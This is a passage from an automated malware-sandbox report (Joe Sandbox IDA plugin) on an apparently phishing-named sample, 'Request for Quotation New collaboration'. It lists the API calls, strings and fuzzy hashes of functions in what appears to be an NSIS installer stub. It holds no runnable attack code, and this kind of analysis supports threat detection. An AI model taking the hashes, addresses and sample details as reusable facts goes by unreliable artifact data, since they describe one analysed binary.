SendMessageW.USER32(00000111,00000001,00000000), ref: 00404521
SendMessageW.USER32(00000010,00000000,00000000), ref: 00404533

Strings

CB@, xrefs: 004044D8
N, xrefs: 00404468
open, xrefs: 004044DB

Memory Dump Source

Source File: 00000005.00000002.2809614839.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000005.00000002.2809587637.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.2809635003.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.2809662370.0000000000409000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.2809690813.000000000045F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.2809690813.000000000046C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.2809690813.000000000049F000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_400000_Request for Quotation New collaboration.jbxd

Similarity

API ID: MessageSend$Cursor$Item$Load$ButtonCheckColorExecuteShelllstrlen
String ID: CB@$N$open
API String ID: 3615053054-4029390422
Opcode ID: 2203d86e9aedfb02f953f7f44e7e92c7d68489696ba88c708ebc1c14ae09885d
Instruction ID: ed67d3ceb40554f4a20f9fe4cecdec295417cbe43b6f72f0b7bb3cee00e3d4b7
Opcode Fuzzy Hash: 2203d86e9aedfb02f953f7f44e7e92c7d68489696ba88c708ebc1c14ae09885d
Instruction Fuzzy Hash: 037173B1A00209BFDB109F64DD45A6A7B69FB84315F00813AF705BA2D0C778AD51DF99

Function 00405C08 Relevance: 29.9, APIs: 12, Strings: 5, Instructions: 136stringmemoryfileCOMMON

Download Yara Rule

APIs

lstrcpyW.KERNEL32(00425D70,NUL,?,00000000,?,?,?,00405DAC,?,?,00000001,00405924,?,00000000,000000F1,?), ref: 00405C18
CloseHandle.KERNEL32(00000000,00000000,00000000,00000001,?,?,?,00405DAC,?,?,00000001,00405924,?,00000000,000000F1,?), ref: 00405C3C
GetShortPathNameW.KERNEL32(00000000,00425D70,00000400), ref: 00405C45

Part of subcall function 00405ABB: lstrlenA.KERNEL32(00000000,00000000,00000000,00000000,?,00000000,00405CF5,00000000,[Rename],00000000,00000000,00000000), ref: 00405ACB
Part of subcall function 00405ABB: lstrlenA.KERNEL32(00405CF5,?,00000000,00405CF5,00000000,[Rename],00000000,00000000,00000000), ref: 00405AFD

GetShortPathNameW.KERNEL32(?,00426570,00000400), ref: 00405C62
wsprintfA.USER32 ref: 00405C80
GetFileSize.KERNEL32(00000000,00000000,00426570,C0000000,00000004,00426570,?,?,?,?,?), ref: 00405CBB
GlobalAlloc.KERNEL32(00000040,0000000A), ref: 00405CCA
lstrcpyA.KERNEL32(00000000,[Rename],00000000,[Rename],00000000,00000000,00000000), ref: 00405D02
SetFilePointer.KERNEL32(?,00000000,00000000,00000000,00000000,00425970,00000000,-0000000A,00409544,00000000,[Rename],00000000,00000000,00000000), ref: 00405D58
WriteFile.KERNEL32(?,00000000,00000000,?,00000000), ref: 00405D6A
GlobalFree.KERNEL32(00000000), ref: 00405D71
CloseHandle.KERNEL32(00000000), ref: 00405D78

Part of subcall function 00405B56: GetFileAttributesW.KERNEL32(00000003,00402DFF,00437800,80000000,00000003), ref: 00405B5A
Part of subcall function 00405B56: CreateFileW.KERNEL32(?,?,00000001,00000000,?,00000001,00000000), ref: 00405B7C

Strings

%ls=%ls, xrefs: 00405C76
p]B, xrefs: 00405C0D
NUL, xrefs: 00405C12
[Rename], xrefs: 00405CEA, 00405CFC
peB, xrefs: 00405C57

Memory Dump Source

Source File: 00000005.00000002.2809614839.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000005.00000002.2809587637.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.2809635003.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.2809662370.0000000000409000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.2809690813.000000000045F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.2809690813.000000000046C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.2809690813.000000000049F000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_400000_Request for Quotation New collaboration.jbxd

Similarity

API ID: File$CloseGlobalHandleNamePathShortlstrcpylstrlen$AllocAttributesCreateFreePointerSizeWritewsprintf
String ID: %ls=%ls$NUL$[Rename]$p]B$peB
API String ID: 1265525490-3322868524
Opcode ID: 3c8f8921d5db17dcea38d37436245cad2ed6acf29c8dc53bbb3a8225ee1bc969
Instruction ID: dd28b8746f6bac9015e409c36d2f5baf321d2fce784c03eddf9b1c2e257c4ca8
Opcode Fuzzy Hash: 3c8f8921d5db17dcea38d37436245cad2ed6acf29c8dc53bbb3a8225ee1bc969
Instruction Fuzzy Hash: 9741E271604B19BBD2216B715C4DF6B3B6CEF41754F14453BBA01B62D2EA3CA8018EBD

Function 00401000 Relevance: 26.4, APIs: 14, Strings: 1, Instructions: 125COMMON

Download Yara Rule

APIs

DefWindowProcW.USER32(?,00000046,?,?), ref: 0040102C
BeginPaint.USER32(?,?), ref: 00401047
GetClientRect.USER32(?,?), ref: 0040105B
CreateBrushIndirect.GDI32(00000000), ref: 004010CF
FillRect.USER32(00000000,?,00000000), ref: 004010E4
DeleteObject.GDI32(?), ref: 004010ED
CreateFontIndirectW.GDI32(?), ref: 00401105
SetBkMode.GDI32(00000000,00000001), ref: 00401126
SetTextColor.GDI32(00000000,000000FF), ref: 00401130
SelectObject.GDI32(00000000,?), ref: 00401140
DrawTextW.USER32(00000000,004281E0,000000FF,00000010,00000820), ref: 00401156
SelectObject.GDI32(00000000,00000000), ref: 00401160
DeleteObject.GDI32(?), ref: 00401165
EndPaint.USER32(?,?), ref: 0040116E

Strings

F, xrefs: 0040100C

Memory Dump Source

Source File: 00000005.00000002.2809614839.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000005.00000002.2809587637.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.2809635003.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.2809662370.0000000000409000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.2809690813.000000000045F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.2809690813.000000000046C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.2809690813.000000000049F000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_400000_Request for Quotation New collaboration.jbxd

Similarity

API ID: Object$CreateDeleteIndirectPaintRectSelectText$BeginBrushClientColorDrawFillFontModeProcWindow
String ID: F
API String ID: 941294808-1304234792
Opcode ID: 0e57b95dfdd8f299c9740ed801e1ea7310e3bc8a8783e459bd01da44e8a50aec
Instruction ID: 126a239e0572de30fb8c34ac70cebce50066b6690b2383a097db7944ba687981
Opcode Fuzzy Hash: 0e57b95dfdd8f299c9740ed801e1ea7310e3bc8a8783e459bd01da44e8a50aec
Instruction Fuzzy Hash: DA419A71804249AFCB058FA5DD459BFBFB9FF48310F00802AF951AA1A0C738EA51DFA5

Function 004045CA Relevance: 19.5, APIs: 10, Strings: 1, Instructions: 269stringCOMMON

Download Yara Rule

APIs

GetDlgItem.USER32(?,000003FB), ref: 00404619
SetWindowTextW.USER32(00000000,?), ref: 00404643
SHBrowseForFolderW.SHELL32(?), ref: 004046F4
CoTaskMemFree.OLE32(00000000), ref: 004046FF
lstrcmpiW.KERNEL32(00427180,004226D0,00000000,?,?), ref: 00404731
lstrcatW.KERNEL32(?,00427180), ref: 0040473D
SetDlgItemTextW.USER32(?,000003FB,?), ref: 0040474F

Part of subcall function 004056AA: GetDlgItemTextW.USER32(?,?,00000400,00404786), ref: 004056BD

Part of subcall function 0040617E: CharNextW.USER32(?,*?|<>/":,00000000,00434000,00436800,00436800,00000000,00403332,00436800,76F93420,00403512), ref: 004061E1
Part of subcall function 0040617E: CharNextW.USER32(?,?,?,00000000), ref: 004061F0
Part of subcall function 0040617E: CharNextW.USER32(?,00434000,00436800,00436800,00000000,00403332,00436800,76F93420,00403512), ref: 004061F5
Part of subcall function 0040617E: CharPrevW.USER32(?,?,00436800,00436800,00000000,00403332,00436800,76F93420,00403512), ref: 00406208

GetDiskFreeSpaceW.KERNEL32(004206A0,?,?,0000040F,?,004206A0,004206A0,?,00000000,004206A0,?,?,000003FB,?), ref: 00404810
MulDiv.KERNEL32(?,0000040F,00000400), ref: 0040482B
SetDlgItemTextW.USER32(00000000,00000400,00420690), ref: 004048B1

Strings

A, xrefs: 004046ED

Memory Dump Source

Source File: 00000005.00000002.2809614839.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000005.00000002.2809587637.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.2809635003.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.2809662370.0000000000409000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.2809690813.000000000045F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.2809690813.000000000046C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.2809690813.000000000049F000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_400000_Request for Quotation New collaboration.jbxd

Similarity

API ID: CharItemText$Next$Free$BrowseDiskFolderPrevSpaceTaskWindowlstrcatlstrcmpi
String ID: A
API String ID: 2246997448-3554254475
Opcode ID: 7bae5448d950fa7fc9b780a264b0000045a755fe0574635acf906d6e28ab15ff
Instruction ID: fc6e5784adbf23f3bf0ca4204261aafad130db7b69f5cfc08d06a9dfd3cb4e02
Opcode Fuzzy Hash: 7bae5448d950fa7fc9b780a264b0000045a755fe0574635acf906d6e28ab15ff
Instruction Fuzzy Hash: 1B916FB2900209ABDB11AFA1CC85AAF77B8EF85354F10847BF701B72D1D77C99418B69

Function 00402DBC Relevance: 19.5, APIs: 5, Strings: 6, Instructions: 203memoryCOMMON

Download Yara Rule

APIs

GetTickCount.KERNEL32 ref: 00402DD0
GetModuleFileNameW.KERNEL32(00000000,00437800,00000400), ref: 00402DEC

Part of subcall function 00405B56: GetFileAttributesW.KERNEL32(00000003,00402DFF,00437800,80000000,00000003), ref: 00405B5A
Part of subcall function 00405B56: CreateFileW.KERNEL32(?,?,00000001,00000000,?,00000001,00000000), ref: 00405B7C

GetFileSize.KERNEL32(00000000,00000000,00438000,00000000,00435800,00435800,00437800,00437800,80000000,00000003), ref: 00402E35
GlobalAlloc.KERNEL32(00000040,00409230), ref: 00402F7C

Strings

soft, xrefs: 00402EAC
Inst, xrefs: 00402EA3
Installer integrity check has failed. Common causes includeincomplete download and damaged media. Contact theinstaller's author , xrefs: 00403013
Error launching installer, xrefs: 00402E0C
Error writing temporary file. Make sure your temp folder is valid., xrefs: 00402FC5
Null, xrefs: 00402EB5

Memory Dump Source

Source File: 00000005.00000002.2809614839.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000005.00000002.2809587637.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.2809635003.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.2809662370.0000000000409000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.2809690813.000000000045F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.2809690813.000000000046C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.2809690813.000000000049F000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_400000_Request for Quotation New collaboration.jbxd

Similarity

API ID: File$AllocAttributesCountCreateGlobalModuleNameSizeTick
String ID: Error launching installer$Error writing temporary file. Make sure your temp folder is valid.$Inst$Installer integrity check has failed. Common causes includeincomplete download and damaged media. Contact theinstaller's author $Null$soft
API String ID: 2803837635-787788815
Opcode ID: 5ecfa0d291b3e3150ad885ea31258d267a33d06369396b94df2ca3b34bcc353b
Instruction ID: 37f794aabb7b6cc22e4429bd010eaec377b65274dead3bcbf73b1a6bf24b43e2
Opcode Fuzzy Hash: 5ecfa0d291b3e3150ad885ea31258d267a33d06369396b94df2ca3b34bcc353b
Instruction Fuzzy Hash: FB610571940205ABDB20AF65DD89BAE3AB8EB04359F20417BF505B32D1C7BC9E41DB9C

Function 00405F0C Relevance: 17.7, APIs: 8, Strings: 2, Instructions: 207stringCOMMON

Download Yara Rule

APIs

GetVersion.KERNEL32(00000000,004216B0,?,004051CB,004216B0,00000000,00000000,00000000), ref: 00405FCF
GetSystemDirectoryW.KERNEL32(00427180,00000400), ref: 0040604D
GetWindowsDirectoryW.KERNEL32(00427180,00000400), ref: 00406060
SHGetSpecialFolderLocation.SHELL32(?,?), ref: 0040609C
SHGetPathFromIDListW.SHELL32(?,00427180), ref: 004060AA
CoTaskMemFree.OLE32(?), ref: 004060B5
lstrcatW.KERNEL32(00427180,\Microsoft\Internet Explorer\Quick Launch), ref: 004060D9
lstrlenW.KERNEL32(00427180,00000000,004216B0,?,004051CB,004216B0,00000000,00000000,00000000), ref: 00406133

Strings

\Microsoft\Internet Explorer\Quick Launch, xrefs: 004060D3
Software\Microsoft\Windows\CurrentVersion, xrefs: 0040601B

Memory Dump Source

Source File: 00000005.00000002.2809614839.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000005.00000002.2809587637.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.2809635003.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.2809662370.0000000000409000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.2809690813.000000000045F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.2809690813.000000000046C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.2809690813.000000000049F000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_400000_Request for Quotation New collaboration.jbxd

Similarity

API ID: Directory$FolderFreeFromListLocationPathSpecialSystemTaskVersionWindowslstrcatlstrlen
String ID: Software\Microsoft\Windows\CurrentVersion$\Microsoft\Internet Explorer\Quick Launch
API String ID: 900638850-730719616
Opcode ID: 6742d19b0b1c5090879c3cfba661a75a2238e305d4f85b0b169f5eea2b4c5ff0
Instruction ID: 201fcfe404e7502d8ff22bbbb8bc1db0d7d07a9235330109bbd625d5d43c8b09
Opcode Fuzzy Hash: 6742d19b0b1c5090879c3cfba661a75a2238e305d4f85b0b169f5eea2b4c5ff0
Instruction Fuzzy Hash: 93612371A40516EBDB209F24CC44AAF37A5EF00314F51813BE546BA2E0D73D8AA2CB4E

Function 00404196 Relevance: 12.1, APIs: 8, Instructions: 61COMMON

Download Yara Rule

APIs

GetWindowLongW.USER32(?,000000EB), ref: 004041B3
GetSysColor.USER32(00000000), ref: 004041CF
SetTextColor.GDI32(?,00000000), ref: 004041DB
SetBkMode.GDI32(?,?), ref: 004041E7
GetSysColor.USER32(?), ref: 004041FA
SetBkColor.GDI32(?,?), ref: 0040420A
DeleteObject.GDI32(?), ref: 00404224
CreateBrushIndirect.GDI32(?), ref: 0040422E

Memory Dump Source

Source File: 00000005.00000002.2809614839.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000005.00000002.2809587637.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.2809635003.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.2809662370.0000000000409000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.2809690813.000000000045F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.2809690813.000000000046C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.2809690813.000000000049F000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_400000_Request for Quotation New collaboration.jbxd

Similarity

API ID: Color$BrushCreateDeleteIndirectLongModeObjectTextWindow
String ID:
API String ID: 2320649405-0
Opcode ID: b90be86f4b41523f1c687d93ae3cdfe665fb5c0f546787b0b5a2f8f889851cd4
Instruction ID: 80eb99ce468fafd782bf4c41e5e54efb1aa93a8fb2f83beca87368335cd0d861
Opcode Fuzzy Hash: b90be86f4b41523f1c687d93ae3cdfe665fb5c0f546787b0b5a2f8f889851cd4
Instruction Fuzzy Hash: B221C6B1904744ABCB219F68DD08B4B7BF8AF40710F04896DF951F26E1C738E944CB65

Function 00402573 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 142fileCOMMON

Download Yara Rule

APIs

ReadFile.KERNEL32(?,?,?,?), ref: 004025DB
MultiByteToWideChar.KERNEL32(?,00000008,?,?,?,00000001), ref: 00402616
SetFilePointer.KERNEL32(?,?,?,00000001,?,00000008,?,?,?,00000001), ref: 00402639
MultiByteToWideChar.KERNEL32(?,00000008,?,00000000,?,00000001,?,00000001,?,00000008,?,?,?,00000001), ref: 0040264F

Part of subcall function 00405BD9: ReadFile.KERNEL32(00409230,00000000,00000000,00000000,00000000,00413E78,0040BE78,0040330C,00409230,00409230,004031FE,00413E78,00004000,?,00000000,?), ref: 00405BED

Part of subcall function 00405E31: wsprintfW.USER32 ref: 00405E3E

Strings

9, xrefs: 004025BE

Memory Dump Source

Source File: 00000005.00000002.2809614839.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000005.00000002.2809587637.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.2809635003.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.2809662370.0000000000409000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.2809690813.000000000045F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.2809690813.000000000046C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.2809690813.000000000049F000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_400000_Request for Quotation New collaboration.jbxd

Similarity

API ID: File$ByteCharMultiReadWide$Pointerwsprintf
String ID: 9
API String ID: 1149667376-2366072709
Opcode ID: 5bf3696fc1b43342bc1c7e4b21794d67987bb543e605c58fae928a8d5a7d4e33
Instruction ID: 2cb5264777941c8734ead6492e5e892e31f06070e548dc8493562ac8cc7c1c9a
Opcode Fuzzy Hash: 5bf3696fc1b43342bc1c7e4b21794d67987bb543e605c58fae928a8d5a7d4e33
Instruction Fuzzy Hash: B551E971E04209ABDF24DF94DE88AAEB779FF04304F50443BE501B62D0D7B99A42CB69

Function 004027B5 Relevance: 10.6, APIs: 7, Instructions: 89memoryfileCOMMON

Download Yara Rule

APIs

GlobalAlloc.KERNEL32(00000040,?,00000000,40000000,00000002,00000000,00000000,?,?,?,?,?,000000F0), ref: 00402809
GlobalAlloc.KERNEL32(00000040,?,00000000,?,?,?,?,?,?,?,000000F0), ref: 00402825
GlobalFree.KERNEL32(FFFFFD66), ref: 0040285E
WriteFile.KERNEL32(?,00000000,?,?,?,?,?,?,?,?,?,000000F0), ref: 00402870
GlobalFree.KERNEL32(00000000), ref: 00402877
CloseHandle.KERNEL32(?,?,?,?,?,?,000000F0), ref: 0040288F
DeleteFileW.KERNEL32(?,00000000,40000000,00000002,00000000,00000000,?,?,?,?,?,000000F0), ref: 004028A3

Memory Dump Source

Source File: 00000005.00000002.2809614839.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000005.00000002.2809587637.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.2809635003.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.2809662370.0000000000409000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.2809690813.000000000045F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.2809690813.000000000046C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.2809690813.000000000049F000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_400000_Request for Quotation New collaboration.jbxd

Similarity

API ID: Global$AllocFileFree$CloseDeleteHandleWrite
String ID:
API String ID: 3294113728-0
Opcode ID: 120950de23c25218e4c137f2e62925978e01813800c9cf407bd4cdabe4d04e4e
Instruction ID: c52f99eb37a0f9a93b384f1dc8ea19ce670fa72408cf6cd502fc0ac50d833161
Opcode Fuzzy Hash: 120950de23c25218e4c137f2e62925978e01813800c9cf407bd4cdabe4d04e4e
Instruction Fuzzy Hash: AC31A072C00118BBDF11AFA5CE49DAF7E79EF05364F20423AF510762E1C6796E418BA9

Function 00405194 Relevance: 10.6, APIs: 7, Instructions: 72stringwindowCOMMON

Download Yara Rule

APIs

lstrlenW.KERNEL32(004216B0,00000000,00000000,00000000,?,?,?,?,?,?,?,?,?,00402D94,00000000,?), ref: 004051CC
lstrlenW.KERNEL32(00402D94,004216B0,00000000,00000000,00000000,?,?,?,?,?,?,?,?,?,00402D94,00000000), ref: 004051DC
lstrcatW.KERNEL32(004216B0,00402D94,00402D94,004216B0,00000000,00000000,00000000), ref: 004051EF
SetWindowTextW.USER32(004216B0,004216B0), ref: 00405201
SendMessageW.USER32(?,00001004,00000000,00000000), ref: 00405227
SendMessageW.USER32(?,0000104D,00000000,00000001), ref: 00405241
SendMessageW.USER32(?,00001013,?,00000000), ref: 0040524F

Memory Dump Source

Source File: 00000005.00000002.2809614839.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000005.00000002.2809587637.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.2809635003.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.2809662370.0000000000409000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.2809690813.000000000045F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.2809690813.000000000046C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.2809690813.000000000049F000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_400000_Request for Quotation New collaboration.jbxd

Similarity

API ID: MessageSend$lstrlen$TextWindowlstrcat
String ID:
API String ID: 2531174081-0
Opcode ID: aabeaaca48730acbc73074f8e678aaac97ab8e564c9cd04649984117108eee2c
Instruction ID: f08454111491fc0d39351af24b8902c1f97f976603b555b028d64c931b302e29
Opcode Fuzzy Hash: aabeaaca48730acbc73074f8e678aaac97ab8e564c9cd04649984117108eee2c
Instruction Fuzzy Hash: 42219D71900518BACB119FA5DD84ADFBFB8EF44354F54807AF904B62A0C7798A41DFA8

Function 00402D1A Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 51COMMON

Download Yara Rule

APIs

DestroyWindow.USER32(?,00000000), ref: 00402D35
GetTickCount.KERNEL32 ref: 00402D53
wsprintfW.USER32 ref: 00402D81

Part of subcall function 00405194: lstrlenW.KERNEL32(004216B0,00000000,00000000,00000000,?,?,?,?,?,?,?,?,?,00402D94,00000000,?), ref: 004051CC
Part of subcall function 00405194: lstrlenW.KERNEL32(00402D94,004216B0,00000000,00000000,00000000,?,?,?,?,?,?,?,?,?,00402D94,00000000), ref: 004051DC
Part of subcall function 00405194: lstrcatW.KERNEL32(004216B0,00402D94,00402D94,004216B0,00000000,00000000,00000000), ref: 004051EF
Part of subcall function 00405194: SetWindowTextW.USER32(004216B0,004216B0), ref: 00405201
Part of subcall function 00405194: SendMessageW.USER32(?,00001004,00000000,00000000), ref: 00405227
Part of subcall function 00405194: SendMessageW.USER32(?,0000104D,00000000,00000001), ref: 00405241
Part of subcall function 00405194: SendMessageW.USER32(?,00001013,?,00000000), ref: 0040524F

CreateDialogParamW.USER32(0000006F,00000000,00402C7F,00000000), ref: 00402DA5
ShowWindow.USER32(00000000,00000005), ref: 00402DB3

Part of subcall function 00402CFE: MulDiv.KERNEL32(?,00000064,?), ref: 00402D13

Strings

... %d%%, xrefs: 00402D7B

Memory Dump Source

Source File: 00000005.00000002.2809614839.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000005.00000002.2809587637.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.2809635003.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.2809662370.0000000000409000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.2809690813.000000000045F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.2809690813.000000000046C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.2809690813.000000000049F000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_400000_Request for Quotation New collaboration.jbxd

Similarity

API ID: MessageSendWindow$lstrlen$CountCreateDestroyDialogParamShowTextTicklstrcatwsprintf
String ID: ... %d%%
API String ID: 722711167-2449383134
Opcode ID: 37da5e6e22464c23d40ec4d31b3b8eabf55409bf9acffd0f2ef74a8860773cf4
Instruction ID: 10fb19a6c4b2eae8d62923eb178f02f9fc5b3c6af7becd3ce095817841e91703
Opcode Fuzzy Hash: 37da5e6e22464c23d40ec4d31b3b8eabf55409bf9acffd0f2ef74a8860773cf4
Instruction Fuzzy Hash: 2901A130949220EBD7626B60AF1DAEA3B68EF01704F1445BBF901B11E0C6FC9D01CA9E

Function 00404A5E Relevance: 10.5, APIs: 5, Strings: 1, Instructions: 48windowCOMMON

Download Yara Rule

APIs

SendMessageW.USER32(?,0000110A,00000009,00000000), ref: 00404A79
GetMessagePos.USER32 ref: 00404A81
ScreenToClient.USER32(?,?), ref: 00404A9B
SendMessageW.USER32(?,00001111,00000000,?), ref: 00404AAD
SendMessageW.USER32(?,0000113E,00000000,?), ref: 00404AD3

Strings

f, xrefs: 00404AAF

Memory Dump Source

Source File: 00000005.00000002.2809614839.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000005.00000002.2809587637.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.2809635003.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.2809662370.0000000000409000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.2809690813.000000000045F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.2809690813.000000000046C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.2809690813.000000000049F000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_400000_Request for Quotation New collaboration.jbxd

Similarity

API ID: Message$Send$ClientScreen
String ID: f
API String ID: 41195575-1993550816
Opcode ID: 06f6ebea5bc1d9fbd35e9f77c39338462eb0780e6261c6c1cca29060ed6e4b7a
Instruction ID: cab112d5f89b67c13374b27971796476edbf79a01bfb7ffc6895eaaae0ed81f2
Opcode Fuzzy Hash: 06f6ebea5bc1d9fbd35e9f77c39338462eb0780e6261c6c1cca29060ed6e4b7a
Instruction Fuzzy Hash: 1C014C71E40219BADB00DB94DD85BFEBBB8AB55715F10012ABB11B61C0C7B4A9018BA5

Function 00402C7F Relevance: 10.5, APIs: 4, Strings: 2, Instructions: 36timeCOMMON

Download Yara Rule

APIs

SetTimer.USER32(?,00000001,000000FA,00000000), ref: 00402C9D
wsprintfW.USER32 ref: 00402CD1
SetWindowTextW.USER32(?,?), ref: 00402CE1
SetDlgItemTextW.USER32(?,00000406,?), ref: 00402CF3

Strings

unpacking data: %d%%, xrefs: 00402CBF, 00402CCF
verifying installer: %d%%, xrefs: 00402CC6

Memory Dump Source

Source File: 00000005.00000002.2809614839.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000005.00000002.2809587637.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.2809635003.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.2809662370.0000000000409000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.2809690813.000000000045F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.2809690813.000000000046C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.2809690813.000000000049F000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_400000_Request for Quotation New collaboration.jbxd

Similarity

